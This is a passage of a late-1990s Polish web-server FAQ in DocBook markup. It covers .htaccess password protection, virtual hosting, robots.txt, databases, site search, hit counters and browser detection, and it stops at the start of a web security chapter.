<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://hoohoo.ncsa.uiuc.edu/docs/setup/ConfigureInfo.html#Directive" ROLE="htmlurl">konfiguracja obsługi błędów w NCSA httpd</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/www/apache/docs/mod/core.html#errordocument" ROLE="htmlurl">konfiguracja obsługi błędów w Apache</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="STRONY-NA-HASLO">
<TITLE ID="SERWERY-HASLO">Strony na hasło</TITLE>
<PARA></PARA>
<SECT2 ID="SERWERY-HASLO-APACHE">
<TITLE>Apache, NCSA</TITLE>
<PARA>W danym katalogu należy umieścić plik
<FILENAME MOREINFO="NONE">.htaccess</FILENAME>
o zawartości:</PARA>
<PARA><EXAMPLE>
<TITLE></TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC" ROLE="access.conf">AuthName this page 
AuthType basic  
AuthUserFile /home/looser/.htpasswd  
AuthGroupFile /dev/null   
require valid_user </PROGRAMLISTING>
</EXAMPLE>
opis do kodu:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>tekst ,,this page'' można zastąpić czymkolwiek.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><FILENAME MOREINFO="NONE">/dev/null</FILENAME>
z
<LITERAL MOREINFO="NONE">AuthGroupFile</LITERAL>
należy zastąpić nazwą pliku (o ile chcemy stworzyć grupę)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>plik wymieniony w
<LITERAL MOREINFO="NONE">AuthUserFile</LITERAL>
powinien znajdować się w katalogu domowym użytkownika, nie zaś w
<FILENAME MOREINFO="NONE">public_html</FILENAME>
lub innym powszechnie dostępnym.</PARA>
</LISTITEM>
</ITEMIZEDLIST>
Hasła dodaje się odpowiednim programem:
<COMMAND MOREINFO="NONE">htpasswd -c /home/looser/.htpasswd nazwa_użytkownika</COMMAND>
(-c jeśli tworzymy nowy plik).
<COMMAND MOREINFO="NONE">htpasswd</COMMAND>
jest w dystrybucji NCSA i Apache, w katalogu
<FILENAME MOREINFO="NONE">support</FILENAME>
(po zainstalowaniu
<PRODUCTNAME CLASS="TRADE">Apache</PRODUCTNAME>
z
<COMMAND MOREINFO="NONE">RPM</COMMAND>
plik ten znajduje się w
<FILENAME MOREINFO="NONE">/usr/sbin/</FILENAME>
W przypadku gdy użytkowników ma być więcej niż kilkudziesięciu, należy
przejść na format DB lub DBM. Przeszukiwanie plików DB i DBM jest znacznie
szybsze niż zwykłego tekstowego
<FILENAME MOREINFO="NONE">.htpasswd</FILENAME>
Ustawienia są analogiczne, tylko że zamiast zbioru funkcji Auth* mamy
AuthDB* lub AuthDBM* i do zarządzania
<FILENAME MOREINFO="NONE">/usr/sbin/dbmmanage</FILENAME>
zamiast
<FILENAME MOREINFO="NONE">/usr/sbin/htpasswd</FILENAME></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://sunsite.icm.edu.pl/pub/www/apache/docs/mod/mod_auth.html" ROLE="htmlurl">Module mod_auth @ Apache</ULINK> </PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
<SECT2 ID="MS-IIS">
<TITLE>MS Internet Information Server</TITLE>
<PARA>Wystarczy odpowiednio ustawić ACLe 
(Access Controll List) do danych plików... Robi się to przy
pomocy polecenia
<COMMAND MOREINFO="NONE">cacls.exe</COMMAND>
lub (lepiej)
<COMMAND MOREINFO="NONE">xcacls.exe</COMMAND>. 

Nie bardzo mam przy tym pomysł czy i w jaki sposób można dokonywać tego
zdalnie (poza dostępem po
<APPLICATION MOREINFO="NONE">NetBIOS over TCP/IP</APPLICATION>). 
Użytkownicy takiego zasobu muszą być zarejestrowani w bazie
użytkowników systemu. Najprościej i najbezpieczniej 
chyba zrezygnować z tej opcji (o ile nie posiadamy praw
<SYSTEMITEM MOREINFO="NONE">Manage users</SYSTEMITEM>
i nie godzimy się na pewne obniżenie ochrony serwera) z tej opcji.
Inną możliwością jest napisanie własnej autentyfikacji przy użyciu np. 
ASP. 

</PARA>
<PARA></PARA>
</SECT2>
</SECT1>
<SECT1 ID="SERWERY-VIRTUALNY">
<TITLE>Wirtualny serwer</TITLE>
<PARA><SIMPLELIST TYPE="VERT">
<MEMBER>From: W.Myszka@immt.pwr.wroc.pl</MEMBER>
</SIMPLELIST></PARA>
<PARA>W bardzo wielu przypadkach istnieje potrzeba wykorzystania jednego
komputera do obsługiwania informacji dostarczonych przez kilku różnych
klientów. Problem można rozwiązać na kilka różnych sposobów:</PARA>
<PARA>1. Informacje każdego klienta umieszczamy w innej kartotece i propagujemy
odsyłacze:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.polbox.com.pl/lupus/index.html" ROLE="htmlurl">http://www.nasz.serwer.com.pl/klient1/</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://winter.info.pl/" ROLE="htmlurl">http://www.nasz.serwer.com.pl/klient2/</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>...</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://infoseek.icm.edu.pl/" ROLE="htmlurl">http://www.nasz.serwer.com.pl/klientN/</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST>
2. Informacje umieszczamy w osobnych kartotekach i uruchamiamy kilka
serwerów http; każdy korzystający z innego portu. Odsyłacze będą wyglądały
wówczas tak:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://FAQ-Bot.ZiemBor.Waw.PL/" ROLE="htmlurl">http://www.nasz.serwer.com.pl:8001/</ULINK>
dla klient1</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://FAQ-Bot.ZiemBor.Waw.PL/" ROLE="htmlurl">http://www.nasz.serwer.com.pl:8002/</ULINK>
dla klient2</PARA>
</LISTITEM>
<LISTITEM>
<PARA>...</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://FAQ-Bot.ZiemBor.Waw.PL/" ROLE="htmlurl">http://www.nasz.serwer.com.pl:800n/</ULINK>
dla klient</PARA>
</LISTITEM>
</ITEMIZEDLIST>
lub jeżeli zarejestrujemy w DNS jako alias dla naszego serwera nazwy
www.klient1.com.pl, ... , www.klientn.com.pl
<ITEMIZEDLIST>
<LISTITEM>
<PARA>http://www.klient1.com.pl:8001/ dla klient1,</PARA>
</LISTITEM>
<LISTITEM>
<PARA>http://www.klient2.com.pl:8002/ dla klient2</PARA>
</LISTITEM>
<LISTITEM>
<PARA>...</PARA>
</LISTITEM>
<LISTITEM>
<PARA>http://www.klientn.com.pl:800n/ dla klient</PARA>
</LISTITEM>
</ITEMIZEDLIST>
Rozwiązania oba są bardzo proste, ale niezbyt eleganckie. Klient może
domagać się występowania pod własną nazwą i nie godzić się na żadne
"dopiski". W takiej sytuacji musimy uruchomić "serwery wirtualne". Musimy:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>mieć n wolnych numerów IP,</PARA>
</LISTITEM>
<LISTITEM>
<PARA>zarejestrować serwery www.klient1.com.pl, ... , www.klient.com.pl używając
tych numerów</PARA>
</LISTITEM>
<LISTITEM>
<PARA>zdobyć odpowiednie oprogramowanie
<ULINK URL="http://www.webcompare.com/" ROLE="htmlurl">serwera</ULINK>
pozwalającego na jednym komputerze obsłużyć kilka różnych adresów. Na
przykład
<ULINK URL="http://SunSite.ICM.edu.pl/pub/www/apache/" ROLE="htmlurl">Apache</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>spowodować, by komputer rozpoznawał jako swoje własne wszystkie
powyższe adresy. Można to (lub nie można) zrealizować na kilka różnych
sposobów. Zależy to od konkretnej wersji systemu operacyjnego i jest poza
zakresem zainteresowania niniejszego FAQ. Najelegantszym rozwiązaniem
jest zainstalowanie w komputerze kilku wirtualnych interfejsów
sieciowych. Najmniej eleganckim - zainstalowanie kilku kart sieciowych :-)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>odpowiednio skonfigurować i uruchomić serwer WWW.</PARA>
</LISTITEM>
</ITEMIZEDLIST>
W ostatecznym układzie sytuacja będzie wyglądać tak: na naszym komputerze
będzie pracował jeden serwer www, który, w zależności od tego do jakiego
adresu "zapuka" klient serwował będzie inny zestaw informacji...</PARA>
<PARA>Aby dodać alias IP w Linuksie (z jądrem 2.0) wystarczy --- przy
odpowiednio skompilowanym jądrze --- opcje
<LITERAL MOREINFO="NONE">Network Aliasing</LITERAL>
i
<LITERAL MOREINFO="NONE">IP Aliasing</LITERAL>
w
<LITERAL MOREINFO="NONE">make config</LITERAL>
wydać polecenie:
<SCREEN FORMAT="LINESPECIFIC"><PROMPT MOREINFO="NONE">root@domek %E7# </PROMPT>
<USERINPUT MOREINFO="NONE">/sbin/ifconfig eth0:10 192.168.17.1 broadcast 192.168.17.255 netmask 255.255.255.0 </USERINPUT></SCREEN>
i odpowiednio ustawić routing...</PARA>
<PARA>Większość współcześnie  dystrybuowanych serwerów HTTP (używając pola nagłówka
<COMMAND MOREINFO="NONE">Host:</COMMAND>
z HTTP/1.1) pozwala poza tym zdefiniować kilka serwerów wirtualnych na
jednym numerze IP (choć niekoniecznie jest to zalecane --- spora część
działających (choć chyba już żadna ze sprzedawanych/rozprowadzanych)
przeglądarek używa jedynie
<APPLICATION MOREINFO="NONE">HTTP/1.0</APPLICATION>
--- podczas, gdy jest to jedna z własności
<APPLICATION MOREINFO="NONE">HTTP/1.1</APPLICATION>
).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/Linux/sunsite/docs/HOWTO/unmaintained/mini/Virtual-Web" ROLE="htmlurl">Virtual Web mini HOWto</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://hoohoo.ncsa.uiuc.edu/" ROLE="htmlurl">wirtualny serwer w NCSA</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/www/apache/docs/mod/core.html#virtualhost" ROLE="htmlurl">wirtualny serwer w Apache</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="SERWERY-ROBOTY">
<TITLE>Roboty</TITLE>
<PARA>Należy pogodzić się z istnieniem rozmaitych robotów w pajęczynie ;-). To
dzięki nim można przeszukiwać pajęczynę, to dzięki nim możliwe jest
tworzenie zindywidualizowanych usług dostarczających informacje, a nie
dane, wreszcie sprawdzanie poprawności powiązań pomiędzy dokumentami. A
to, że czasem mają ochotę ściągnąć dynamicznie tworzone strony, albo
rozmaite nie przeznaczone do tego zasoby (jak na przykład nieopatrznie
,,odsłonięty'' katalog z
<EMPHASIS>wszystkimi</EMPHASIS>
RFC?) Jest na to rada. Już w początkach WWW (czyli w lipcu 1994 r. ;-)
została opracowana nieformalna specyfikacja
<EMPHASIS>for Robot Exclusion</EMPHASIS>
do które stosują się
<ULINK URL="http://info.webcrawler.com/mak/projects/robots/norobots.html" ROLE="htmlurl">wszystkie ,,przyzwoite''</ULINK>
roboty. Opiera się on na sprawdzeniu przez robota istnienia pliku
<LITERAL MOREINFO="NONE"><ULINK URL="http://www.webcrawler.com/robots.txt" ROLE="htmlurl">/robots.txt</ULINK></LITERAL>
zawierającego polecenia:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>User-agent: (jako parametr
<ULINK URL="http://info.webcrawler.com/mak/projects/robots/active.html" ROLE="htmlurl">nazwa robota</ULINK>
* znaczy --- wszystkie)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Disallow: /nazwa/zasobu (jeśli bez nazwy znaczy, że robot może zindeksować
wszystko)</PARA>
</LISTITEM>
</ITEMIZEDLIST>
Poza tym istnieją (jeszcze niezbyt powszechnie uznane) zaklęcia &lt;
META
takie jak np &lt;
META name="robots" CONTENT="NOINDEX"&lt;

</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://info.webcrawler.com/mak/projects/robots/norobots.html" ROLE="htmlurl">A Standard for Robot Exclusion</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.archive.org/robotexclusion.html" ROLE="htmlurl">The Standard for Robot Exclusion</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.kollar.com/robots.html" ROLE="htmlurl">Standard for Robot Exclusion Revised</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/pub/WWW/TR/WD-htmllink" ROLE="htmlurl">Hypertext Links in HTML - W3C Working Draft</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="SERWERY-SPEC">
<TITLE>Zagadnienia specyficzne dla poszczególnych serwerów</TITLE>
<PARA></PARA>
<SECT2 ID="APACHE">
<TITLE>Apache</TITLE>
<PARA>O konfiguracji Apache można przeczytać w następujących dokumentach:</PARA>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.icm.edu.pl/pub/www/apache/" ROLE="htmlurl">dokumentacja do Apache</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.filg.uj.edu.pl/%E7lb/apache/" ROLE="htmlurl">Internetowy Indianin, czyli instalacja APACHE'a</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.rm.com.pl/rm/wpa.htm" ROLE="htmlurl">``Webmaster. Podręcznik administratora''</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT2>
</SECT1>
</CHAPTER>
<CHAPTER ID="SERWER-INTERAKCJA">
<TITLE ID="EXEC-SERWER">Interacja klient --- serwer</TITLE>
<PARA>_</PARA>
<SECT1 ID="BAZY-DANYCH">
<TITLE ID="BAZY">Bazy danych</TITLE>
<HIGHLIGHTS>
<SIMPARA>Jakiego motoru bazy danych użyć do udostępniania danych przy pomocy WWW</SIMPARA>
</HIGHLIGHTS>
<PARA>Odpowiedź brzmi pewnie:
<EMPHASIS>jednego z dostępnych ;-)</EMPHASIS>
Ale trzeba wybrać jeden produkt. Ja osobiście polecałbym
<ULINK URL="http://www.postgresql.org/" ROLE="htmlurl">PostgreSQL</ULINK>
na Uniksie (a zwłaszcza
<ULINK URL="http://www.Linux.org.pl/" ROLE="html">Linuksie</ULINK>
lub
<ULINK URL="http://www.pl.FreeBSD.org/" ROLE="html">FreeBSD)</ULINK>
Dlaczego?
<ITEMIZEDLIST>
<LISTITEM>
<PARA>relacyjna</PARA>
</LISTITEM>
<LISTITEM>
<PARA>rozszerzalna</PARA>
</LISTITEM>
<LISTITEM>
<PARA>cechy obiektowe</PARA>
</LISTITEM>
<LISTITEM>
<PARA>dostęp przy pomocy podzbioru SQL</PARA>
</LISTITEM>
<LISTITEM>
<PARA>istnieje kilka różnych interface do WWW</PARA>
</LISTITEM>
<LISTITEM>
<PARA>dostępna na zasadach Licencji BSD</PARA>
</LISTITEM>
</ITEMIZEDLIST>
Poza tym niektórzy zalecają:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://hughes.com.au/" ROLE="htmlurl">mSQL</ULINK>
(choć dostępna jest za darmo jedynie dla instytucji edukacyjnych)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.tcx.se/" ROLE="htmlurl">mySQL --- T.c.X. Data Konsult</ULINK>
wraz
<ULINK URL="http://php.iquest.net/" ROLE="htmlurl">PHP</ULINK>
[patrz też: ,,Lab Note
<ULINK URL="http://www.webtechniques.com/features/1998/01/note/note.shtml" ROLE="htmlurl">A Contact Database using MySQL and PHP</ULINK>
By Mike Miller'']</PARA>
</LISTITEM>
<LISTITEM>
<PARA>dostępny teoretycznie za darmo, choć na dziwnych zasadach
<ULINK URL="http://www.cc.com.pl/" ROLE="html">MICRO/CDS/ISIS</ULINK>
rodem z UNESCO.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.oracle.com/" ROLE="htmlurl">Oracle</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.sybase.com.pl/" ROLE="htmlurl">Sybase</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.inter-soft.com/products/essentia/" ROLE="htmlurl">Essentia</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>MS SQL z ASP i innymi technikami programistycznymi
<ULINK URL="http://www.microsoft.com/" ROLE="htmlurl">Microsoftu</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Michał Mosiewicz
<EMPHASIS>Linux i bazy danych</EMPHASIS>
(w:)
<ULINK URL="http://www.Linux.com.pl/" ROLE="htmlurl">Linux+</ULINK>
3/1997 (ISSN 1427-55-62)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="INTERAKCJA-PRZESZUKIWANIE">
<TITLE>Przeszukiwanie</TITLE>
<PARA>Aby udostępnić przeszukiwanie swojego serwera można:</PARA>
<SECT2 ID="SEARCH-ENGINE">
<TITLE>instalować search-engine</TITLE>
<PARA>oczywiście taka czynność wiąże się z ryzykiem dociążenia maszyny. Ale
czego się nie robi dla odbiorców naszej informacji ;-). Z czego można
wybierać?
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://htdig.sdsu.edu/" ROLE="htmlurl">ht://Dig</ULINK>
dość mocno dostosowywalna, pozwala na tworzenie własnych list słów
nie porządanych, działa po HTTP (nie jak inne przeszukując system
plików). Stosunkowo szybka, pozwala ograniczać przestrzeń poszukiwań.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.eit.com/software/swish/" ROLE="htmlurl">SWISH</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://donkey.CS.Arizona.EDU/webglimpse/" ROLE="htmlurl">WebGlimpe</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.thunderstone.com/webinator/" ROLE="htmlurl">Webinator</ULINK>
Ma możliwość dowolnego formatowania wyników za pomocą
<PRODUCTNAME CLASS="TRADE">texis</PRODUCTNAME>
specjalnego języka. Są gotowe szablony, wystarczy tylko trochę przerobić
i już ma się własny wygląd. Wersje tylko skompilowane, ale na wiele
systemów.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://ls6-www.informatik.uni-dortmund.de/ir/projects/freeWAIS-sf/" ROLE="htmlurl">freeWais</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.exite.com/" ROLE="htmlurl">Exite</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://altavista.software.digital.com/" ROLE="htmlurl">DEC AltaVista</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Microsoft 
<PRODUCTNAME CLASS="TRADE"><ULINK URL="http://www.microsoft.com/ntserver/search/" ROLE="htmlurl">Index Server 2.0</ULINK></PRODUCTNAME></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT2>
<SECT2 ID="PRZESZUKIWANIE-ROBOTY">
<TITLE>zmusić publicznie dostępne roboty do indeksowania naszych zasobów</TITLE>
<PARA>W wypadku niektórych publicznie dostępnych usług przeszukiwawczych
możliwe jest zawężenie poszukiwań określonej klasy URL. Nic (poza
zdrowym rozsądkiem i potencjalnym protestem ich właścicieli) nie stoi na
przeszkodzie napisaniu odpowiedniej formatki wyszukującej używającej np.
<ULINK URL="http://www.hotbot.com/" ROLE="htmlurl">HotBot</ULINK>
lub
<ULINK URL="http://infoseek.ICM.edu.pl/" ROLE="htmlurl">InfoSeek PL.</ULINK></PARA>
</SECT2>
</SECT1>
<SECT1 ID="LICZNIK">
<TITLE>W jaki sposób mogę zainstalować licznik na stronie?</TITLE>
<PARA><SIMPLELIST TYPE="VERT" ROLE="author">
<MEMBER>From: Tomek Piłat &lt;poncki@PoncLand.XYZ.Lublin.PL&gt;</MEMBER>
<MEMBER>From: Paweł Więcek &lt;coven@pwr.wroc.pl&gt;</MEMBER>
</SIMPLELIST></PARA>
<PARA ID="DLACZEGO-NIE-LICZNIK">Nie należy tego robić ponieważ, zazwyczaj, liczniki kłamią, nie
uwzględniając odwołań do strony przez Proxy-Cache, powodują niepotrzebne
obciążenie serwera, i jest przejawem niepotrzebnego efekciarstwa. Jeśli
jednak te argumenty są nie-przekonujące polecam jeden z już napisanych
programów licznika:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.webtools.org/counter/" ROLE="htmlurl">Counter by WebTools</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://icount.com/" ROLE="htmlurl">ICount</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.fxweb.holowww.com/tracker/index.shtml" ROLE="htmlurl">Tracker</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.fccc.edu/users/muquit/Count.html" ROLE="htmlurl">Count.cgi</ULINK>
--- bardzo popularny (choć w poprzednich wersjach zawiera błąd
pozwalający zdalnie zdobyć prawa administratora)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA>albo skorzystanie z opisu autorstwa Tomasza Piłata (sprawdzony jedynie
z NSCA HTTPd 1.4. i Apache i działający na bazie
<EMPHASIS>Server Side Include</EMPHASIS>
--- wymaga więc włączenia tych opcji w konfiguracji serwera): należy
założyć w katalogu gdzie mamy stronę, do której chcemy liczyć dostępy plik
<FILENAME MOREINFO="NONE">.htaccess</FILENAME>
<EXAMPLE>
<TITLE></TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC" ROLE="htaccess">AddType text/x-server-parsed-html index.html 
AddType application/x-httpd-cgi count.cgi</PROGRAMLISTING>
</EXAMPLE>
- gdzie
<LITERAL MOREINFO="NONE">index.html</LITERAL>
to nazwa tej strony, a
<EXAMPLE>
<TITLE><COMMAND MOREINFO="NONE">licznik.pl.cgi</COMMAND>
--- nazwa pliku programu licznika (obie linijki powinny być zakończone
Enterem).</TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC" ROLE="perl"><INLINEGRAPHIC FILEREF="../zrodla/przyklady/licznik.pl.cgi" FORMAT="LINESPECIFIC"> </INLINEGRAPHIC>  </PROGRAMLISTING>
</EXAMPLE>
może zaistnieć potrzeba zmiany ścieżki do PERLa --- to jest
<EXAMPLE>
<TITLE></TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC" ROLE="perl">#!/usr/bin/perl</PROGRAMLISTING>
</EXAMPLE>
Najłatwiej sprawdzić, gdzie jest PERL pisząc:
<COMMAND MOREINFO="NONE">whereis perl</COMMAND>
lub
<COMMAND MOREINFO="NONE">which perl</COMMAND></PARA>
<PARA>Wykonujemy co następuje:
<SCREEN FORMAT="LINESPECIFIC"><INLINEGRAPHIC FILEREF="../zrodla/przyklady/licznik.touch.screen" FORMAT="LINESPECIFIC"></INLINEGRAPHIC> 

</SCREEN>
W pliku
<FILENAME MOREINFO="NONE">count</FILENAME>
znajdować się będzie liczba odwiedzin. Umieszczamy na stronie cos takiego:
<EXAMPLE>
<TITLE></TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC">Te strone odwiedzilo juz <INLINEGRAPHIC FILEREF="../zrodla/przyklady/licznik.wolaj.ssi" FORMAT="LINESPECIFIC"></INLINEGRAPHIC> gosci!</PROGRAMLISTING>
</EXAMPLE></PARA>
<PARA>Uwaga cenzora: powinno być:
<EXAMPLE>
<TITLE></TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC">Te strone pobrano juz 
<INLINEGRAPHIC FILEREF="../zrodla/przyklady/licznik.wolaj.ssi" FORMAT="LINESPECIFIC"></INLINEGRAPHIC> 
razy 
od dnia zainstalowania licznika lub jego resetowania.</PROGRAMLISTING>
</EXAMPLE></PARA>
<PARA>Alternatywnie można wykorzystywać oferowane przez kilka firm darmowe
,,serwery liczników'':
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.webmedia.pl/" ROLE="htmlurl">Darmowe liczniki z WebMedia</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://count.itnet.com.pl/" ROLE="htmlurl">Count @ Inet.com.pl</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST>
lub (najbardziej wiarygodnie i najsensowniej) sporządzić statystyki
dostępów na podstawie logów:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.usagl.net/webalizer/" ROLE="htmlurl">webalizer</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.statslab.cam.ac.uk/%E7sret1/analog/" ROLE="htmlurl">analog</ULINK>
(jeden z lepszych dostępnych jako GNU analizatorów logów, posiada polską
wersję interface)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.webtrends.com/" ROLE="htmlurl">WebTrends Log Analyser</ULINK>
(GUI --- działający na
<TRADEMARK CLASS="TRADE">Win32</TRADEMARK>
--- analizator różnych typów logów pozwalający na dość szczegółową
analizę w/g popularnych kryteriów)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="PRZEGLADARKA">
<TITLE>Jak rozpoznać w jakiej przeglądarki używa odwiedzający?</TITLE>
<PARA>From: mimo@InfoData.com.PL (Michał Mosiewicz) </PARA>
<PARA>Należy na stronie początkowej takiego serwisu sprawdzić zawartość zmiennej
CGI o nazwie
<COMMAND MOREINFO="NONE">HTTP_USER_AGENT</COMMAND>
a następnie wskazać lokalizację zależną od wersji przeglądarki.</PARA>
<PARA>Poniżej znajduje się prosty skrypt w perlu mający realizować coś takiego:
<EXAMPLE>
<TITLE></TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC" ROLE="perl">#!/usr/bin/perl  
$ENV('HTTP_USER_AGENT') =~ /MSIE/
&amp;&amp; do ( print "Location: http://specjalnie.dla.misia/\n\n"; exit; )  
print "Location: http://dla.innych/\n\n";</PROGRAMLISTING>
</EXAMPLE></PARA>
</SECT1>
</CHAPTER>
<CHAPTER ID="BEZPIECZENSTWO">
<TITLE>Bezpieczeństwo WWW</TITLE>
<PARA>_</PARA>
<SECT1 ID="BEZP-ZALOZENIA">
<TITLE>Założenia</TITLE>
<PARA>Problem bezpiecznego nawigowania po pajęczynie został omówiony w rozdziale
<LINK LINKEND="NAWIGACJA-BEZPIECZENSTWO" ROLE="xref">Bezpieczne nawigowanie.</LINK></PARA>
<PARA>Spróbuję tutaj opisać jedynie to co dotyczy dostawców informacji,
i usług związanych z udostępnianiem danych.</PARA>
<PARA>Bezpieczeństwo w tym kontekście rozumiem jako działania mające na
celu ochronę udostępniania usług, dbania o autentyczność dostarczanej
informacji oraz o zachowanie prywatności i poufności na poziomie wymaganym
przez użytkowników.</PARA>
<PARA>Istnieje wiele ,,uczonych'' definicji bezpieczeństwa systemów
komputerowych. Chyba każda wymienia następujące czynniki opisujące
stan bezpieczeństwa systemu teleinformatycznego:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>poufność</PARA>
</LISTITEM>
<LISTITEM>
<PARA>uwierzytelnienie --- zapewnienie autentyczności informacji i osób</PARA>
</LISTITEM>
<LISTITEM>
<PARA>nienaruszalność --- zapewnienie integralności komunikacji</PARA>
</LISTITEM>
<LISTITEM>
<PARA>niezaprzeczalność --- niemożność zaprzecznia faktowi wysłania/odebrania
informacji</PARA>
</LISTITEM>
<LISTITEM>
<PARA>kontrola dostępu --- możliwość kontrolowania dostępu poprzez
identyfikacje i uwierzytelnienia</PARA>
</LISTITEM>
<LISTITEM>
<PARA>dyspozycyjność --- ograniczanie skutków ataki</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA ID="SEC-PRAKTYKA">Jednocześnie ma to niewiele wspólnego z codzienną, ,,doświadczalną''
praktyką. Definicje te pomocne są w czasie tworzenia polityki
bezpieczeństwa, czy szerzej polityki wykorzystania zasobów informatycznych
firmy. Na co dzień jednak pozostaje raczej trzymanie się bardziej
praktycznych wytycznych --- formułowanych właśnie w takich dokumentach
jak polityka bezpieczeństwa, na stworzenie której zwykle jednak nie ma
czasu i chęci ;-).</PARA>
<PARA ID="SEC-NETADMIN">Z punktu widzenia administratora systemu serwer WWW (wraz z innymi
czasem potrzebnymi serwisami takimi jak np. SQL, SMTP, FTP czy jakaś
forma zdalnego terminala) jest jeszcze jedną usługą którą trzeba
zarządzać i kontrolować. Do tego dochodzą jeszcze problemy związane
z rozmaitymi aplikacjami wykonywanymi po stronie serwera (CGI, SSI,
rozmaite inne ,,server side parsed Language'' takie jak PHP3 lub ASP)
oraz problem dostępności usługi z zewnątrz oraz kłopoty związane z
jej udostępnianiem. Internet jako ,,sieć sieci'' powoli przestaje
istnieć. Powstają sieci prywatne ze strzeżonym wyjściem na zewnątrz i
umieszczonym na zewnątrz serwerem informacyjnym/komunikacyjnym.</PARA>
<PARA ID="SEC-WEBMASTER">Z punktu widzenia webmastera (czyli administratora tej konkretnej usługi
